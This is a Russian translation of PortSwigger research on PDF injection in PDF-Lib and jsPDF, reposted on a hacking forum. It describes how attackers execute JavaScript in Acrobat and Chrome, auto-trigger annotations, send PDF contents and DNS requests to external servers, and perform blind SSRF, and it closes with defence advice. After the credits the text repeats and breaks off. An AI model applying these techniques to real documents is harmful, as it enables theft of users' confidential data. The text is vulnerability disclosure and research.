PDF-документы и генераторы PDF-файлов повсеместно распространены в Интернете, как и уязвимости инъекций. Знаете ли вы, что управление HTTP-гиперссылкой может обеспечить плацдарм во внутренней работе PDF-файла? В этом документе вы узнаете, как использовать одну ссылку для взлома содержимого PDF-файла и его эксфильтрации на удаленный сервер, как при слепой XSS-атаке.
Я покажу, как можно внедрить код PDF, чтобы избежать объектов, перехватить ссылки и даже выполнить произвольный JavaScript - в основном XSS в рамках документа PDF. Я оцениваю несколько популярных PDF-библиотек на предмет атак путем инъекций, а также наиболее распространенных редеров: Acrobat и Chrome PDFium. Вы узнаете, как создать "alert(1)" о внедрении PDF-файла и как его улучшить, чтобы внедрить JavaScript, который может украсть содержимое PDF-файла у обоих ридеров.
Я расскажу, как мне удалось использовать настраиваемый перечислитель JavaScript для различных объектов PDF, чтобы обнаруживать функции, которые делают внешние запросы, что позволяет мне извлекать данные из PDF. Даже PDF-файлы, загруженные из файловой системы в Acrobat, которые имеют более строгую защиту, по-прежнему могут использоваться для внешних запросов. Я успешно создал инъекцию, которая может выполнять SSRF-атаку на PDF-файл на стороне сервера. Мне также удалось прочитать содержимое файлов из того же домена, даже когда пользовательский агент Acrobat заблокирован WAF. Наконец, я покажу вам, как украсть содержимое PDF-файла без взаимодействия с пользователем, и завершу гибридным PDF-файлом, который работает как в PDFium, так и в Acrobat.
Этот технический документ также доступен в формате PDF для печати и в виде презентации, премьера которой состоялась на Black Hat Europe 2020:
Введение
Все началось, когда мой коллега, Джеймс "albinowax" Кеттл, смотрел доклад о шифровании PDF в BlackHat. Он смотрел на слайды и думал: "Это определенно инъекция". Когда он вернулся в офис, мы обсудили внедрение PDF-файлов. Сначала я отклонил это как невозможное. Вы не знаете структуру PDF-файла и, следовательно, не сможете инжектировать правильные ссылки на объекты. Теоретически вы можете сделать это, внедрив целую новую таблицу xref внешних ссылок, но на практике это не сработает, поскольку ваша новая таблица будет просто проигнорирована … Здесь, в PortSwigger, мы не останавливаемся на достигнутом; поначалу мы можем подумать, что идея невозможна, но это не остановит нас от попыток.
Перед тем, как начать тестирование, у меня было несколько исследовательских задач. Могу ли я сломать его и вызвать ошибки анализа при вводе пользователем данных в PDF? Могу ли я выполнить JavaScript или извлечь содержимое PDF-файла? Я хотел протестировать два разных типа инъекций: информированный и слепой. Информированная инъекция относится к случаям, когда мне была известна структура PDF-файла (например, потому что я мог сам просмотреть получившийся PDF-файл). При слепой инъекции у меня вообще не было никаких знаний о структуре или содержимом PDF-файла, как в слепом XSS.
Теория инъекции
Как пользовательский ввод может попасть в PDF-файлы?
Генерация PDF на стороне сервера повсюду; это электронные билеты, квитанции, посадочные талоны, счета-фактуры, платежные ведомости ... список можно продолжить. Таким образом, у пользователя есть множество возможностей попасть внутрь документа PDF. Наиболее вероятными целями для внедрения являются текстовые потоки или аннотации, поскольку эти объекты позволяют разработчикам вставлять текст или URI, заключенный в круглые скобки. Если злоумышленник может ввести круглые скобки, он может внедрить код PDF и потенциально вставить свои собственные вредоносные объекты или действия PDF.
Зачем пытаться внедрить код PDF?
Рассмотрим приложение, в котором несколько пользователей работают над общим PDF-файлом, содержащим конфиденциальную информацию, например банковские реквизиты. Если вы можете управлять частью этого PDF-файла с помощью инъекции, вы потенциально можете эксфильтровать все содержимое файла, когда другой пользователь обращается к нему или взаимодействует с ним каким-либо образом. Это работает так же, как классическая атака XSS, но в рамках документа PDF.
Почему вы не можете внедрить произвольный контент?
Подумайте о внедрении PDF-файлов как о XSS-инъекции внутри вызова функции JavaScript. В этом случае вам нужно будет убедиться, что ваш синтаксис действителен, закрыв круглые скобки перед инъекцией и исправив скобки после инъекции. Тот же принцип применяется к внедрению PDF, за исключением того, что вы вводите значение словаря, такое как текстовый поток или URI аннотации, а не вызов функции.
Методология
Я разработал следующую методологию внедрения PDF-файлов: "Идентифицировать, создавать и эксплуатировать".
Идентифицировать
Прежде всего, вам нужно определить, избегает ли библиотека создания PDF скобок или обратной косой черты. Вы также можете попытаться сгенерировать эти символы, используя многобайтовые символы, содержащие 0x5c (обратная косая черта) или 0x29 (круглые скобки), в надежде, что библиотека неправильно преобразует их в однобайтовые символы. Другой возможный метод создания круглых скобок или обратной косой черты - использование символов вне диапазона ASCII. Это может вызвать переполнение, если библиотека неправильно обрабатывает символ. Затем вы должны посмотреть, можете ли вы нарушить структуру PDF, вставив символ NULL, маркеры EOF или комментарии.
Создать
После того как вы установили, что можете влиять на структуру PDF-файла, вам необходимо создать инъекцию, подтверждающую, что вы контролируете его часть. Это можно сделать, вызвав "app.alert(1)" в PDF JavaScript или используя действие/функцию submitForm для отправки POST-запроса на внешний URL-адрес. Это полезно для сценариев слепого инжекта.
Эксплуатировать
Убедившись, что инъекция возможна, вы можете попытаться использовать ее для эксфильтрации содержимого PDF-файла. В зависимости от того, инжектируете ли вы действие SubmitForm или используете функцию JavaScript submitForm, вам необходимо отправить правильные флаги или параметры. Я покажу вам, как это сделать, позже в статье, когда расскажу, как использовать инъекции.
Уязвимые библиотеки
Я пробовал около 8 разных библиотек, проводя это исследование. Из них я обнаружил две, уязвимые для внедрения PDF-файлов: PDF-Lib и jsPDF, оба из которых являются модулями npm. PDF-Lib имеет более 52 тысяч загрузок в неделю, а jsPDF - более 250 тысяч. Кажется, что каждая библиотека правильно экранирует текстовые потоки, но допускает ошибку, разрешая внедрение PDF-файлов внутри аннотаций. Вот пример того, как вы создаете аннотации в PDF-Lib:
Как вы можете видеть в примере кода, PDF-Lib имеет вспомогательную функцию для создания строк PDF, но она не позволяет избежать скобок. Поэтому, если разработчик помещает вводимые пользователем данные в URI, злоумышленник может вырваться и внедрить свой собственный код PDF. Другая библиотека, jsPDF, имеет ту же проблему, но на этот раз в свойстве url кода создания аннотации:
Эксплуатация инъекций
Прежде чем продемонстрировать найденные мною векторы, я расскажу вам, как я их нашел. Сначала я расскажу о том, как я пытался выполнить JavaScript и украсть содержимое PDF-файла из инъекции. Я покажу вам, как я решил проблему отслеживания и извлечения PDF-файла при открытии из файловой системы в Acrobat, а также как я смог выполнять аннотации, не требуя взаимодействия с пользователем. После этого я расскажу, почему эти инъекции не работают в Chrome и как заставить их работать. Надеюсь, вам понравится мое путешествие по использованию инъекций.
Acrobat
Первым шагом было тестирование библиотеки PDF, поэтому я загрузил PDFKit, создал несколько тестовых PDF-файлов и просмотрел полученный результат. Первое, что бросилось в глаза, - это текстовые объекты. Если у вас есть инъекция внутри текстового потока, вы можете выйти из текста, используя закрывающую скобку, и инжектировать свой собственный PDF-код.
Текстовый объект PDF выглядит следующим образом:
BT указывает начало текстового объекта, /F13 устанавливает шрифт, 12 указывает размер, а Tf - оператор ресурса шрифта (стоит отметить, что в коде PDF операторы обычно следуют своим параметрам).
Цифры, следующие за Tf, - это начальная позиция на странице; оператор Td определяет позицию текста на странице, используя эти числа. Открывающая скобка начинает текст, который будет добавлен на страницу, "ABC" - это фактический текст, затем закрывающая скобка завершает текстовую строку. Tj - это оператор отображения текста, а ET завершает текстовый объект.
Управление символами внутри скобок может позволить нам вырваться из текстовой строки и ввести код PDF.
Я попробовал все методы, упомянутые в моей методологии, с PDFKit, PDF Make и FPDF, и ничего не добился. На этом этапе я отложил исследование и какое-то время занялся чем-то другим. Я часто так делаю, если захожу в тупик. Не стоит тратить время на исследования, которые ни к чему не приведут, если ничего не работает. Я считаю, что возвращение к жизни со свежим умом очень помогает. Быть настойчивым - это здорово, но не попадайтесь в ловушку повторения без результата.
PDF-Lib
Со свежим умом я снова взялся за исследование и решил изучить спецификацию PDF. Как и в случае с XSS, инъекции PDF-файлов могут происходить в разных контекстах. До сих пор я смотрел только на текстовые потоки, но иногда пользовательский ввод мог помещаться внутри ссылок. Аннотации выделялись для меня тем, что они позволяли разработчикам создавать ссылки, похожие на привязки, в тексте и объектах PDF. К настоящему времени у меня была 4-я библиотека PDF. На этот раз я использовал PDFLib. Мне потребовалось некоторое время, чтобы использовать библиотеку для создания аннотации и посмотреть, могу ли я вставить закрывающую скобку в URI аннотации - и это сработало! Пример уязвимого кода, который я использовал для генерации кода аннотации, был:
Как я узнал, что инъекция прошла успешно? PDF-файл будет отображаться правильно, если я не вставлю закрывающую скобку. Это доказало, что закрывающая скобка вырывалась из строки и вызывала недопустимый код PDF. Взломать PDF было приятно, но, конечно, мне нужно было убедиться, что я могу выполнять JavaScript. Я посмотрел на отрисованный PDF-код и заметил, что вывод кодируется с использованием фильтра FlateDecode. Я написал небольшой скрипт для блока, и результат секции аннотации выглядел так:
Как вы можете ясно видеть, строка внедрения закрывает границу текста закрывающей круглой скобкой, которая оставляет существующую закрывающую скобку, что приводит к неправильному отображению PDF-файла:
Отлично, я мог прервать рендеринг PDF, что теперь? Мне нужно было придумать инъекцию, которая вызвала бы некоторый JavaScript - alert(1) о инъекции PDF.
Так же, как векторы XSS зависят от синтаксического анализа браузера, возможность использования инъекций PDF может зависеть от средства визуализации PDF. Я решил начать с Acrobat, потому что думал, что векторы с меньшей вероятностью будут работать в Chrome. Я заметил две вещи: 1) вы можете ввести дополнительные действия с аннотациями и 2) если вы исправите существующую закрывающую скобку, тогда PDF-файл будет отображаться. После некоторых экспериментов я придумал красивую полезную нагрузку, которая вводила дополнительное действие аннотации, выполняла JavaScript и исправляла закрывающую скобку:
Сначала я вырываюсь из круглых скобок, затем вырываюсь из словаря, используя >> перед тем, как начать новый словарь аннотаций. /S/JavaScript делает аннотацию на основе JavaScript, а /JS - это место, где хранится JavaScript. В круглых скобках находится наш актуальный JavaScript. Обратите внимание, что вам не нужно избегать скобок, если они сбалансированы. Наконец, я добавляю тип аннотации, заканчиваю словарь и исправляю закрывающую скобку. Это было так круто; Я мог бы создать инъекцию, выполняющую JavaScript, ну и что, не так ли? Вы можете выполнять JavaScript, но у вас нет доступа к DOM, поэтому вы не можете читать файлы cookie. Затем появился Джеймс и предложил украсть содержимое PDF-файла из инъекции. Я начал искать способы получить содержимое PDF-файла. В Acrobat я обнаружил, что вы можете использовать JavaScript для отправки форм без какого-либо взаимодействия с пользователем! Глядя на спецификацию JavaScript API, было довольно просто изменить базовую инъекцию и добавить некоторый JavaScript, который отправлял бы все содержимое кода PDF на внешний сервер в запросе POST:
Предупреждение не требуется; Я просто добавил его, чтобы доказать, что инъекция выполняла JavaScript.
Затем, просто для удовольствия, я рассмотрел возможность кражи содержимого PDF без использования JavaScript. Из спецификации PDF я узнал, что вы можете использовать действие под названием SubmitForm. Я использовал это в прошлом, когда создавал PDF-файл для проверки сканирования в Burp Suite. Это именно то, что следует из названия. У него также есть запись Flags в словаре для управления тем, что отправляется. Ключ словаря Flags принимает одно целочисленное значение, но каждая отдельная настройка управляется двоичным битом. Хороший способ работать с этими настройками - использовать новые двоичные литералы в ES6. Двоичный литерал должен иметь длину 14 бит, потому что всего 14 флагов. В следующем примере все настройки отключены:
Чтобы установить флаг, вам сначала нужно найти его битовую позицию (таблица 237 спецификации PDF). В этом случае мы хотим установить флаг SubmitPDF. Поскольку это контролируется 9-м битом, вам просто нужно отсчитать 9 бит справа:
Если вы оцените это с помощью JavaScript, это приведет к десятичному значению 256. Другими словами, установка для параметра Flags значения 256 включит флаг SubmitPDF, который вызывает отправку содержимого PDF-файла при отправке формы. Все, что нам нужно сделать, это использовать созданную ранее базовую инъекцию и изменить ее так, чтобы она вызывала действие SubmitForm вместо JavaScript:
jsPDF
Затем я применил свою методику к другой библиотеке PDF - jsPDF - и обнаружил, что она тоже уязвима. Пользоваться этой библиотекой было довольно весело, потому что у них есть API, который может выполняться в браузере и позволит вам создавать PDF-файлы в реальном времени по мере ввода. Я заметил, что, как и библиотека PDP-Lib, они забыли избегать скобок внутри URL-адресов аннотаций. Здесь свойство url было уязвимо:
Поэтому я сгенерировал PDF-файл, используя их API, и вставил PDF-код в свойство url:
Я уменьшил вектор, удалив записи типа словаря и ненужную запись F. Затем я оставил висящую скобку, которая будет закрыта существующей. Уменьшение размера инъекции важно, потому что веб-приложение, в которое вы внедряете, может допускать только ограниченное количество символов.
Затем я понял, что можно еще больше уменьшить вектор! Acrobat разрешил бы URI и запись JavaScript в одном действии аннотации и с радостью выполнил бы JavaScript:
Дальнейшие исследования показали, что вы также можете вводить несколько аннотаций. Это означает, что вместо того, чтобы просто вводить действие, вы можете выйти из аннотации и определить свои собственные прямоугольные координаты, чтобы выбрать, какой раздел документа будет доступен для нажатия. Используя эту технику, я смог сделать весь документ кликабельным.
Написание перечислителя
Следующим этапом было посмотреть, как Acrobat обрабатывает PDF-файлы, которые загружаются из файловой системы, а не обслуживаются непосредственно с веб-сайта. В этом случае есть больше ограничений. Например, когда вы пытаетесь отправить форму по внешнему URL-адресу, это вызовет запрос, в котором пользователь должен вручную подтвердить, что он хочет отправить форму. Чтобы обойти эти ограничения, я написал перечислитель/фаззер для вызова каждой функции для каждого объекта, чтобы увидеть, позволяет ли функция мне связаться с внешним сервером без взаимодействия с пользователем.
github.com
Перечислитель сначала запускает цикл for для глобального объекта this. Я пропустил методы getURL, submitForm и объект консоли, потому что знал, что они вызывают запросы и не позволяют связываться с внешними серверами, если вы не нажмете Разрешить. Блоки try-catch используются для предотвращения сбоя цикла, если возникает исключение, потому что функция не может быть вызвана или свойство не является допустимой функцией. Burp Collaborator используется, чтобы увидеть, был ли установлен успешный контакт с сервером - я добавляю проверяемый ключ в поддомен, чтобы Collaborator показывал, какое свойство разрешило взаимодействие.
Используя этот фаззер, я обнаружил метод, который можно вызвать для связи с внешним сервером: CBSharedReviewIfOfflineDialog вызовет взаимодействие с DNS, не требуя от пользователя нажатия кнопки Разрешить. Затем вы можете использовать DNS для эксфильтрации содержимого PDF-файла или другой информации. Однако для этого по-прежнему требуется щелчок, поскольку наша инъекция использует действие аннотации.
Создание аннотаций без взаимодействия
До сих пор для векторов, которые я продемонстрировал, требуется щелчок, чтобы активировать действие из аннотации. Обычно Джеймс задавал вопрос "Можем ли мы выполнить автоматически?". Я просмотрел спецификацию PDF и заметил некоторые интересные особенности аннотаций:
Записи PV и PI позволяют различать открытые и видимые страницы. В любой момент времени только одна страница считается открытой в приложении просмотра, в то время как более одной страницы может быть видно, в зависимости от макета страницы ".
Мы можем добавить запись PV в словарь, и аннотация будет запускаться в Acrobat автоматически! Не только это, но мы также можем автоматически выполнять полезную нагрузку, когда PDF-документ закрывается с помощью записи ПК. Злоумышленник может отследить вас, когда вы откроете PDF-файл и закроете его.
Вот как выполнить автоматическое выполнение из аннотации:
Когда вы закроете PDF-файл, сработает эта аннотация:
Chrome
Я много говорил об Acrobat, но как насчет PDFium (программы для чтения PDF-файлов Chrome)? Chrome непростой; поверхность атаки намного меньше, так как его поддержка JavaScript более ограничена, чем у Acrobat. Первое, что я заметил, это то, что JavaScript вообще не выполнялся в аннотациях, поэтому мои доказательства концепций не работали. Чтобы векторы работали в Chrome, мне нужно было хотя бы выполнить JavaScript внутри аннотаций. Но сначала я решил попробовать перезаписать URL в аннотации. Это было довольно просто. Я мог бы использовать базовую инъекцию, которую придумал раньше, и просто ввести другое действие с записью URI, которая перезапишет существующий URL:
При щелчке по нему будет выполнен переход на portswigger.net. Затем я двинулся дальше и попробовал разные инъекции для вызова JavaScript, но каждый раз это терпело неудачу. Я думал, что это невозможно сделать. Я сделал шаг назад и попытался вручную создать весь PDF-файл, который будет вызывать JavaScript при щелчке мышью в Chrome без инъекции. При использовании кнопки AcroForm Chrome разрешал выполнение JavaScript, но проблема заключалась в том, что требовались ссылки на части PDF. Мне удалось создать инъекцию, которая запускала бы JavaScript при щелчке по JSPDF:
Как видите, приведенный выше вектор требует знания структуры PDF. [3 0 R] относится к конкретному объекту PDF, и если бы мы проводили атаку слепым внедрением PDF-файла, мы бы не узнали его структуру. Тем не менее, следующий этап - это попытка отправки формы. Мы можем использовать для этого функцию submitForm, и поскольку для аннотации требуется щелчок, Chrome разрешит это:
Это работает, но беспорядочно и требует знания структуры PDF. Мы можем значительно уменьшить его и избавиться от зависимости от структуры PDF:
Есть еще код, который мы можем удалить:
Приведенный выше код прерывает аннотацию, создает новую и делает всю страницу интерактивной. Для выполнения JavaScript мы должны вставить кнопку и дать ей любой текст, используя запись "T". Затем мы можем, наконец, внедрить наш код JavaScript, используя запись JS в словаре. Выполнение JavaScript в Chrome - это здорово. Я никогда не думал, что это возможно, когда начал это исследование.
Затем я посмотрел на функцию submitForm, чтобы украсть содержимое PDF-файла. Мы знаем, что можем вызвать функцию, и она связывается с внешним сервером, как показано в одном из приведенных выше примеров, но поддерживает ли он полную спецификацию Acrobat? Я посмотрел исходный код PDFium, но функция не поддерживает SubmitAsPDF
Вы можете видеть, что он поддерживает FDF, но, к сожалению, это не отправляет содержимое PDF. Я искал другие способы, но не знал, какие объекты были доступны. Я применил тот же подход, что и с Acrobat, и написал фаззер/перечислитель для поиска интересных объектов. Получать информацию из Chrome было труднее, чем из Acrobat; Мне пришлось собирать информацию по частям, прежде чем выводить ее с помощью функции предупреждения. Это произошло из-за того, что функция предупреждения усекла отправленную ей строку.
github.com
Проверяя вывод перечислителя, я пробовал вызывать различные функции в надежде сделать внешние запросы или собрать информацию из PDF. В конце концов, я нашел очень интересную функцию getPageNthWord, которая могла извлекать слова из документа PDF, тем самым позволяя мне украсть содержимое. В функции есть небольшая ошибка, из-за которой первое слово иногда не извлекается. Но по большей части он будет извлекать большинство слов:
Я был очень доволен собой, что могу украсть содержимое PDF-файла в Chrome, поскольку никогда не думал, что это возможно. Объединение этого с вектором submitForm позволит вам отправлять данные на внешний сервер. Единственным недостатком является то, что для этого требуется щелчок. Мне было интересно, можно ли выполнить JavaScript, не щелкнув Chrome. Еще раз взглянув на спецификацию PDF, я заметил, что в словаре аннотаций есть еще одна запись под названием "E", которая будет выполнять аннотацию, когда мышь входит в область аннотации - в основном, при наведении курсора мыши. К сожалению, это не считается взаимодействием с пользователем для отправки формы. Таким образом, хотя вы можете выполнять JavaScript, вы ничего не можете сделать с данными, потому что не можете отправить их на внешний сервер. Если вы можете заставить Chrome отправлять данные с этим событием, сообщите мне, потому что мне было бы очень интересно узнать, как это сделать. Во всяком случае, вот код, запускающий код при наведения мыши:
SSRF в PDFium/Acrobat
Можно отправить запрос POST с помощью PDFium/Acrobat для выполнения атаки SSRF. Это будет слепой SSRF, поскольку вы можете сделать запрос POST, но не можете прочитать ответ. Чтобы создать запрос POST, вы можете использовать ключ словаря /parent, как было продемонстрировано ранее, чтобы назначить элемент формы аннотации, разрешив выполнение JavaScript. Но вместо использования кнопки, как мы делали раньше, вы можете назначить текстовое поле (/Tx) с ключами словаря имени параметра (/T) и значения параметра (/V). Обратите внимание, как вам нужно передать имена параметров, которые вы хотите использовать, в функцию submitForm в виде массива:
Вы даже можете отправлять необработанные новые строки, что может быть полезно при объединении других атак, таких как куча запросов. Результат POST-запроса можно увидеть в следующем запросе Collaborator:
Наконец, я хочу закончить гибридную инъекцию Chrome и Acrobat PDF. Первая часть внедряет JavaScript в существующую аннотацию для выполнения JavaScript в Acrobat. Вторая часть выходит за пределы аннотации и вводит новую аннотацию, которая определяет новую интерактивную область для Chrome. Я снова использую трюк с Acroform, чтобы вставить кнопку, чтобы JavaScript выполнялся:
Загрузка PDF-файлов с помощью техники "formcalc"
При проведении этого исследования я столкнулся с HR-приложением, которое позволяло загружать документы в формате PDF. PDF-файл не был проверен приложением, и в него можно было встроить произвольный JavaScript-код. Я вспомнил фантастическую технику @InsertScript, которая позволяла делать запросы из файла PDF для чтения ресурсов того же происхождения с помощью formcalc.
Я пробовал эту атаку, но она не удалась, потому что WAF блокировал запросы от пользовательского агента Acrobat. Затем я попробовал кэшированные ресурсы и обнаружил, что WAF полностью пропустит это - он никогда не увидит запрос, потому что ресурс был загружен через кеш. Я попытался использовать эту технику с PDF-инъекцией, но, к сожалению, мне не удалось придумать способ инъекции formcalc или вызова formcalc из JavaScript без использования ключа словаря AcroForm в трейлере. Если кому-то удастся это сделать, пожалуйста, свяжитесь с нами, потому что мне было бы очень интересно.
Защита
Если вы пишете библиотеку PDF, рекомендуется избегать скобок и обратной косой черты при принятии пользовательского ввода в текстовых потоках или URI аннотаций. Как разработчик, вы можете использовать инъекции, упомянутые в этом документе, чтобы убедиться, что любой пользовательский ввод не вызывает инъекции PDF. Рассмотрите возможность выполнения проверки любого содержимого, входящего в PDF-файлы, чтобы убедиться, что вы не можете внедрить PDF-код.
Заключение
- Уязвимые библиотеки могут сделать ввод пользователя внутри PDF-файлов опасным, поскольку не избегают скобок и обратной косой черты.
- Четкая цель помогает при решении, казалось бы, невозможных проблем, а настойчивость окупается при попытке достичь этих целей.
- Одна простая ссылка может поставить под угрозу все содержимое неизвестного PDF-файла.
Примеры файлов
Вы можете скачать все примеры инъекций в этом техническом документе по адресу:
https://github.com/PortSwigger/portable-data-exfiltration/tree/main/PDF-research-samples
Благодарности
Я ничего не знал о структуре PDF-файлов, пока не посмотрел доклад Анж Альбертини о создании собственного PDF-файла вручную. Он очень меня вдохновляет, и без его учебных материалов этот пост никогда бы не был сделан. Я также хотел бы поблагодарить Алекса "InsertScript" Инфюра, который освещал PDF-файлы в своем беспорядке с веб-презентацией. Это поразило всех, когда он продемонстрировал, на что способен PDF. Спасибо вам обоим.
Я также хотел бы поблагодарить Ben Sadeghipour и Cody Brocious за идею выполнения SSRF-атаки из PDF-файла в их отличной презентации.
Источник: https://portswigger.net/research/portable-data-exfiltration
Автор перевода: yashechka
Переведено специально для https://xss.pro
Я покажу, как можно внедрить код PDF, чтобы избежать объектов, перехватить ссылки и даже выполнить произвольный JavaScript - в основном XSS в рамках документа PDF. Я оцениваю несколько популярных PDF-библиотек на предмет атак путем инъекций, а также наиболее распространенных редеров: Acrobat и Chrome PDFium. Вы узнаете, как создать "alert(1)" о внедрении PDF-файла и как его улучшить, чтобы внедрить JavaScript, который может украсть содержимое PDF-файла у обоих ридеров.
Я расскажу, как мне удалось использовать настраиваемый перечислитель JavaScript для различных объектов PDF, чтобы обнаруживать функции, которые делают внешние запросы, что позволяет мне извлекать данные из PDF. Даже PDF-файлы, загруженные из файловой системы в Acrobat, которые имеют более строгую защиту, по-прежнему могут использоваться для внешних запросов. Я успешно создал инъекцию, которая может выполнять SSRF-атаку на PDF-файл на стороне сервера. Мне также удалось прочитать содержимое файлов из того же домена, даже когда пользовательский агент Acrobat заблокирован WAF. Наконец, я покажу вам, как украсть содержимое PDF-файла без взаимодействия с пользователем, и завершу гибридным PDF-файлом, который работает как в PDFium, так и в Acrobat.
Этот технический документ также доступен в формате PDF для печати и в виде презентации, премьера которой состоялась на Black Hat Europe 2020:
Введение
Все началось, когда мой коллега, Джеймс "albinowax" Кеттл, смотрел доклад о шифровании PDF в BlackHat. Он смотрел на слайды и думал: "Это определенно инъекция". Когда он вернулся в офис, мы обсудили внедрение PDF-файлов. Сначала я отклонил это как невозможное. Вы не знаете структуру PDF-файла и, следовательно, не сможете инжектировать правильные ссылки на объекты. Теоретически вы можете сделать это, внедрив целую новую таблицу xref внешних ссылок, но на практике это не сработает, поскольку ваша новая таблица будет просто проигнорирована … Здесь, в PortSwigger, мы не останавливаемся на достигнутом; поначалу мы можем подумать, что идея невозможна, но это не остановит нас от попыток.
Перед тем, как начать тестирование, у меня было несколько исследовательских задач. Могу ли я сломать его и вызвать ошибки анализа при вводе пользователем данных в PDF? Могу ли я выполнить JavaScript или извлечь содержимое PDF-файла? Я хотел протестировать два разных типа инъекций: информированный и слепой. Информированная инъекция относится к случаям, когда мне была известна структура PDF-файла (например, потому что я мог сам просмотреть получившийся PDF-файл). При слепой инъекции у меня вообще не было никаких знаний о структуре или содержимом PDF-файла, как в слепом XSS.
Теория инъекции
Как пользовательский ввод может попасть в PDF-файлы?
Генерация PDF на стороне сервера повсюду; это электронные билеты, квитанции, посадочные талоны, счета-фактуры, платежные ведомости ... список можно продолжить. Таким образом, у пользователя есть множество возможностей попасть внутрь документа PDF. Наиболее вероятными целями для внедрения являются текстовые потоки или аннотации, поскольку эти объекты позволяют разработчикам вставлять текст или URI, заключенный в круглые скобки. Если злоумышленник может ввести круглые скобки, он может внедрить код PDF и потенциально вставить свои собственные вредоносные объекты или действия PDF.
Зачем пытаться внедрить код PDF?
Рассмотрим приложение, в котором несколько пользователей работают над общим PDF-файлом, содержащим конфиденциальную информацию, например банковские реквизиты. Если вы можете управлять частью этого PDF-файла с помощью инъекции, вы потенциально можете эксфильтровать все содержимое файла, когда другой пользователь обращается к нему или взаимодействует с ним каким-либо образом. Это работает так же, как классическая атака XSS, но в рамках документа PDF.
Почему вы не можете внедрить произвольный контент?
Подумайте о внедрении PDF-файлов как о XSS-инъекции внутри вызова функции JavaScript. В этом случае вам нужно будет убедиться, что ваш синтаксис действителен, закрыв круглые скобки перед инъекцией и исправив скобки после инъекции. Тот же принцип применяется к внедрению PDF, за исключением того, что вы вводите значение словаря, такое как текстовый поток или URI аннотации, а не вызов функции.
Методология
Я разработал следующую методологию внедрения PDF-файлов: "Идентифицировать, создавать и эксплуатировать".
Идентифицировать
Прежде всего, вам нужно определить, избегает ли библиотека создания PDF скобок или обратной косой черты. Вы также можете попытаться сгенерировать эти символы, используя многобайтовые символы, содержащие 0x5c (обратная косая черта) или 0x29 (круглые скобки), в надежде, что библиотека неправильно преобразует их в однобайтовые символы. Другой возможный метод создания круглых скобок или обратной косой черты - использование символов вне диапазона ASCII. Это может вызвать переполнение, если библиотека неправильно обрабатывает символ. Затем вы должны посмотреть, можете ли вы нарушить структуру PDF, вставив символ NULL, маркеры EOF или комментарии.
Создать
После того как вы установили, что можете влиять на структуру PDF-файла, вам необходимо создать инъекцию, подтверждающую, что вы контролируете его часть. Это можно сделать, вызвав "app.alert(1)" в PDF JavaScript или используя действие/функцию submitForm для отправки POST-запроса на внешний URL-адрес. Это полезно для сценариев слепого инжекта.
Эксплуатировать
Убедившись, что инъекция возможна, вы можете попытаться использовать ее для эксфильтрации содержимого PDF-файла. В зависимости от того, инжектируете ли вы действие SubmitForm или используете функцию JavaScript submitForm, вам необходимо отправить правильные флаги или параметры. Я покажу вам, как это сделать, позже в статье, когда расскажу, как использовать инъекции.
Уязвимые библиотеки
Я пробовал около 8 разных библиотек, проводя это исследование. Из них я обнаружил две, уязвимые для внедрения PDF-файлов: PDF-Lib и jsPDF, оба из которых являются модулями npm. PDF-Lib имеет более 52 тысяч загрузок в неделю, а jsPDF - более 250 тысяч. Кажется, что каждая библиотека правильно экранирует текстовые потоки, но допускает ошибку, разрешая внедрение PDF-файлов внутри аннотаций. Вот пример того, как вы создаете аннотации в PDF-Lib:
const linkAnnotation = pdfDoc.context.obj({
Type: 'Annot',
Subtype: 'Link',
Rect: [50, height - 95, 320, height - 130],
Border: [0, 0, 2],
C: [0, 0, 1],
A: {
Type: 'Action',
S: 'URI',
URI: PDFString.of(`/input`),//vulnerable code
}
})
Как вы можете видеть в примере кода, PDF-Lib имеет вспомогательную функцию для создания строк PDF, но она не позволяет избежать скобок. Поэтому, если разработчик помещает вводимые пользователем данные в URI, злоумышленник может вырваться и внедрить свой собственный код PDF. Другая библиотека, jsPDF, имеет ту же проблему, но на этот раз в свойстве url кода создания аннотации:
var doc = new jsPDF();
doc.text(20, 20, 'Hello world!');
doc.addPage('a6','l');
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:'/input'});//vulnerable code
Эксплуатация инъекций
Прежде чем продемонстрировать найденные мною векторы, я расскажу вам, как я их нашел. Сначала я расскажу о том, как я пытался выполнить JavaScript и украсть содержимое PDF-файла из инъекции. Я покажу вам, как я решил проблему отслеживания и извлечения PDF-файла при открытии из файловой системы в Acrobat, а также как я смог выполнять аннотации, не требуя взаимодействия с пользователем. После этого я расскажу, почему эти инъекции не работают в Chrome и как заставить их работать. Надеюсь, вам понравится мое путешествие по использованию инъекций.
Acrobat
Первым шагом было тестирование библиотеки PDF, поэтому я загрузил PDFKit, создал несколько тестовых PDF-файлов и просмотрел полученный результат. Первое, что бросилось в глаза, - это текстовые объекты. Если у вас есть инъекция внутри текстового потока, вы можете выйти из текста, используя закрывающую скобку, и инжектировать свой собственный PDF-код.
Текстовый объект PDF выглядит следующим образом:
BT указывает начало текстового объекта, /F13 устанавливает шрифт, 12 указывает размер, а Tf - оператор ресурса шрифта (стоит отметить, что в коде PDF операторы обычно следуют своим параметрам).
Цифры, следующие за Tf, - это начальная позиция на странице; оператор Td определяет позицию текста на странице, используя эти числа. Открывающая скобка начинает текст, который будет добавлен на страницу, "ABC" - это фактический текст, затем закрывающая скобка завершает текстовую строку. Tj - это оператор отображения текста, а ET завершает текстовый объект.
Управление символами внутри скобок может позволить нам вырваться из текстовой строки и ввести код PDF.
Я попробовал все методы, упомянутые в моей методологии, с PDFKit, PDF Make и FPDF, и ничего не добился. На этом этапе я отложил исследование и какое-то время занялся чем-то другим. Я часто так делаю, если захожу в тупик. Не стоит тратить время на исследования, которые ни к чему не приведут, если ничего не работает. Я считаю, что возвращение к жизни со свежим умом очень помогает. Быть настойчивым - это здорово, но не попадайтесь в ловушку повторения без результата.
PDF-Lib
Со свежим умом я снова взялся за исследование и решил изучить спецификацию PDF. Как и в случае с XSS, инъекции PDF-файлов могут происходить в разных контекстах. До сих пор я смотрел только на текстовые потоки, но иногда пользовательский ввод мог помещаться внутри ссылок. Аннотации выделялись для меня тем, что они позволяли разработчикам создавать ссылки, похожие на привязки, в тексте и объектах PDF. К настоящему времени у меня была 4-я библиотека PDF. На этот раз я использовал PDFLib. Мне потребовалось некоторое время, чтобы использовать библиотеку для создания аннотации и посмотреть, могу ли я вставить закрывающую скобку в URI аннотации - и это сработало! Пример уязвимого кода, который я использовал для генерации кода аннотации, был:
...
A: {
Type: 'Action',
S: 'URI',
URI: PDFString.of(`injection)`),
}
})
...
